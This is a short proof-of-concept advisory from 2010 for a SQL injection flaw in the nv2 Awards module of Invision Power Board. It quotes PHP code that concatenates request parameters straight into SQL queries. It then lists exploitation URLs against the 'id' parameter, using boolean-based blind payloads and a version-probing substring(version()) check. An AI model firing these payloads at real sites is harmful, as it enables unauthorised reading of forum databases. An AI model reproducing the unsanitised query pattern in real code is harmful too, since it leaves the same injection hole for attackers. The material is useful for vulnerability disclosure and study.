IPB (nv2) Awards SQL Injection

`#################################################  
+  
+ IPB (nv2) Awards > 1.1.0 SQL Injection PoC  
+  
#################################################  
+  
+ Author: fred777 - [fred777.de]  
+ Date: 29.01.2010  
+ Link: http://forums.invisionize.com/nv2-Awards-120-t137847.html  
+ Vuln: index.php?autocom=awards&do=view&id=1  
+ Greetzz to: Back2hack.cc  
+ Contact: [email protected]  
+  
#################################################  
  
--[ Vuln Code ] --  
  
$this->ipsclass->DB->build_query( array( 'select' => 'a.user_id',  
'from' => array( 'awarded' => 'a' ),  
'where' => 'a.award_id=' . $this->ipsclass->input['id'],  
'add_join' => array( 0 => array( 'select' => 'm.members_display_name',  
'from' => array( 'members' => 'm' ),  
'where' => 'm.id=a.user_id',  
'type' => 'left',  
) ),  
) );  
  
--------------------------------------------------------------------------------------  
  
'select' => '*',  
'from' => 'awards',  
'where' => 'id = "' . $_POST['award'] . '"',  
) );  
  
--------------------------------------------------------------------------------------  
  
$award_dat['user_id'] = $_GET['id'];  
$award_dat['award_id'] = $_POST['award'];  
  
################################################  
  
--[ Exploitable ]--  
  
www.seite.de/index.php?autocom=awards&do=view&id=1[SQL INJECTION]  
  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=1 > true  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=0 > false  
  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5  
www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4  
  
################################################  
  
  
  
`